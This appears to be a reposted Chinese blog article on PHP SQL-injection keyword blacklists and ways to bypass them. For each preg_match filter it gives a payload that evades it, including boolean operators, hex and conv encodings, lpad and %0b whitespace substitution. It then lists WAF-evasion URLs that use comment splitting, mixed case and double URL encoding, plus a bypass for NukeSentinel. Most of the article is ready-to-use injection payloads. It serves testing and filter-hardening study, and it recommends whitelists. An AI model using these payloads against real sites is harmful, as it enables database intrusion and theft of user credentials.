今天给大家分享一个关于php常见的注入防护以及如何bypass的文章,文章内容来源国外某大佬总结,我做了一下整理,文章来源地址不详,下面正文开始。以下的方式也仅仅是针对黑名单的过滤有一定的效果,为了安全最好还是以白名单的方式对参数进行检测。

黑名单关键字过滤与绕过


过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1 1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧


1、绕过部分WAF

/news.php?id=1+un/*/ion+se/*/lect+1,2,3--

2、匹配正则如下:

/unionsselect/g

绕过方式:

/news.php?id=1+UnIoN//SeLecT//1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a/union%252f%252a /select%252f%252a/1,2,3%252f%252a/from%252f%252a/users--

真实的例子


NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?//union//select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f%2funion%2f%2fselect…

最新文章

  1. 给 DevOps 初学者的入门指南
  2. mysql数据库的主从
  3. c# 程序检测日志输出的类
  4. UIWebView 操作
  5. GOLANG 反射法则
  6. aptana中删除空行
  7. FreeModbus Slave For AVR源代码 精简版2 【worldsing 笔记】
  8. PHP根据身份证号码验证、获取星座、生肖和性别函数
  9. mysql学习(四)-字段类型
  10. 机器学习技法:12 Neural Network
  11. Java永久代去哪儿了
  12. 【Topcoder 1879】Scheduling
  13. 【题解】Luogu P5284 [十二省联考2019]字符串问题
  14. Linux shell 重定向学习笔记
  15. 基于DSP的IS95正向业务信道模块设计
  16. HTML和CSS总结
  17. fromkeys()
  18. C# datagridview大小跟随窗口动态改变(转)
  19. 基于Extjs的web表单设计器
  20. js生成guid(唯一标识码)

热门文章

  1. 小程序 - 图片列表显示lazyload效果
  2. javascript 权威指南
  3. .NET开源工作流RoadFlow-表单设计-附件管理
  4. django模板templates详解(二)
  5. 在浏览器的市场上,IE依然是放弃了,firefox还在继续~~
  6. docker nginx 反向代理
  7. Python3基本数据类型(一、数字类型)
  8. 【HHHOJ】ZJOI2019模拟赛(十六)4.07 解题报告
  9. 如何写一个FMDB帮助类?看看runtime吧
  10. HashMap面试知识点